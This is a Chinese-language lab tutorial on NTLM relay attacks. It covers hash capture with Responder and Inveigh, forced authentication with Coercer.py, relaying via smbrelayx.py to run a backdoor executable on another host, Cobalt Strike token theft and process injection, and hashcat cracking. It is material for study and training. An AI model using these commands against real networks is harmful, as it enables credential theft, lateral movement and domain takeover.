NTLM中继Relay重放攻击

1. NTML介绍

NTLM Relay其实严格意义上并不能叫NTLM Relay,而是应该叫 Net-NTLM Relay。它是发生在NTLM认证的第三步,在 Type3 Response消息中存在Net-NTLM Hash,当攻击者获得了Net-NTLM Hash后,可以进行中间人攻击,重放Net-NTLM Hash,这种攻击手法也就是大家所说的NTLM Relay(NTLM 中继)攻击。NTLM Relay Attack(NTLM中继攻击)指的是强制目标服务器、目标用户使用LM Hash、NTLM Hash对攻击者的服务器进行认证,攻击者将该认证中继至其他目标服务器中(域控等),根据目标域的防护等级可以在活动目录域中进行横向移动或权限提升,流程可见下图。

36f0b451cf720aafa5a3687795555b98_MD5.png

2. NTML Relay攻击步骤

  1. 捕获net-NTML Hash数据
    捕获方式
  • 强制请求漏洞
  • 被动钓鱼:基于文件 网页 命令 诱惑对方去访问监听主机
  1. 重放攻击(捕获成功)
    捕获到利用重放脚本去攻击主机

  2. 暴力破解Net-NTLM Hash(如果捕获失败)
    不成功的话就拿来暴力破解Net-NTLM Hash后续利用

3. NTLM监听(捕获)

3.1. 1、Responder(kali自带)

当kali与监听对象处于同一网段下,就能监听到该网段下的通讯数据

#监听eth1网卡
responder -I eth1

bc88fc25770b3383fd1948fb1d2d754c_MD5.png

当域内主机有通讯192.168.3.12时,就可以抓到通讯用户的hash

907e2afe01794f6417a512c8e9efcec9_MD5.png

这个hash可以用hashcat进行暴力破解 模式5600

3.2. 2、Inveigh(windows用)

暂时无法在飞书文档外展示此内容

打开运行即可,会在当前目录产生通讯记录

8dc2da17c81884d5e06ce0ef1029233f_MD5.png

4. NTLM重放攻击

前提条件:捕获到NTML hash

4.1. 重放攻击--强制触发:

条件:需要一个域用户的账户密码

强制触发有很多工具 这里推荐使用Coercer,这是一个自动化项目,里面集成了很多工具

4.1.1. 强制触发--Coercer.py

该项目中集成了如图中的各种脚本

8ac53a0ae7567b95eb64ba4bc7b101ee_MD5.png

扫描利用:

python3 Coercer.py scan -t 192.168.3.21 -u webadmin -p 'admin!@#45' -d god.org

强制目标主机访问:

kali先开启监听,执行脚本强制访问

responder -I eth1
python3 Coercer.py  coerce -l 192.168.3.12 -t 192.168.3.21 -u webadmin -p 'admin!@#45' -d god.org --always-continue

成功抓到hash

423160ee9e1ad4ce32a670fbed4efdb2_MD5.png

5. 重放攻击-被动钓鱼

  • 利用LLMNR&NBNS攻击
  • 利用系统命令 如net use \\192.168.3.12
  • 利用钓鱼网页
  • 利用office文档
  • 利用系统图标
  • 利用SCF文件
  • 利用PDF文件
  • 利用用户头像设置

5.1. 被动攻击--smbrelayx.py

暂时无法在飞书文档外展示此内容

kali执行重放利用 中继到192.168.3.31后执行1111.exe后门

原理

windows执行net use //192.168.3.12会进行用户密码认证,会先用本机用户的密码进行认证,成功则不需要验证,失败才会要求重新输入账号密码

3.32执行net use //192.168.3.12后,会与3.12进行密码比对,3.12做了一个中继转发给3.31,由于3.31密码与3.32一样,则3.31就能成功执行命令

192.168.3.12 kali ip地址

192.168.3.32 sqlserver 密码 admin!@#45

192.168.3.31 webadmin 密码 admin!@#45

kali运行

python3 smbrelayx.py -h 192.168.3.31 -c c:\\1111.exe

cdaa6a2e1a167e63c686b19ec077b20a_MD5.png

然后 192.168.3.32 sqlserver执行命令(这里用Administrator用户权限能成功执行,但其他用户权限就不行,System权限也不行,因为只有Administrator用户才能与webadmin比对成功)

net use //192.168.3.12

1c8a1a1ba8de7e74c61681987d28da93_MD5.png

发现192.168.3.32 sqlserver执行命令但192.168.3.31 webadmin 却上线了

9771f20a4e6ddc7719e6cf5448743c24_MD5.png

5.2. CS进行中继攻击

5.2.1. 当前环境:

已经取得192.168.3.31 webadmin权限,现用192.168.3.31 webadmin192.168.3.32 sqlserver进行重放攻击

5.2.2. 攻击过程

对webadmin用户进行提权,一步提到了system用户权限

55ca0fcdf1447170eabe387f83936d5e_MD5.png

尝试对192.168.3.32进行访问,发现都不可以,不管是system权限还是webadmin用户权限。通过上面的例子,我们知道这里只有Administrator用户权限才可以,这时候就需要进行降权了

5.2.3. 降权到Administrator权限

5.2.3.1. 降权方式1:进程注入

进程列表找到Administrator权限的进程,点击下面的注入

9ad190e6cc7ab9d37efd5f7a878bd2f8_MD5.png

然后就可以获取到Administrator用户权限了

14744021d795fb5264141948f9e84085_MD5.png

5.2.3.2. 降权方式2:令牌窃取

选择一个Administrator用户的进行令牌窃取

4b3dbff4e798757c7787adc19db78a43_MD5.png

然后进行窃取的用户就会变成Administrator用户权限,用窃取令牌的用户执行命令即可(这里用System用户进行窃取,则用system会话执行命令)

32ac31fe60135da75e3ae036339a909f_MD5.png

6. NTLM中继攻击-暴力破解

当拿到hash后就可以进行重放攻击。如果重放攻击失败,则可以考虑进行暴力破解

通过监听抓取hash

755dec2e4bc291236d3981948f5e3f10_MD5.png

暴力破解

hashcat -m 5600 hash.txt rockyou.txt

95cd3240e95523e59ee0904d0856e571_MD5.png

Relay To EWS

Exchange认证也支持NTLM SSP的。于是我们可以将SMB流量Relay到Exchange的EWS接口,从而可以进行收发邮件等操作,还可以通过Homepage下发规则达到命令执行的效果。

Relay To LDAP

1、利用基于资源的约束性委派进行权限提升

2、Write Dcsync ACL Dump域内哈希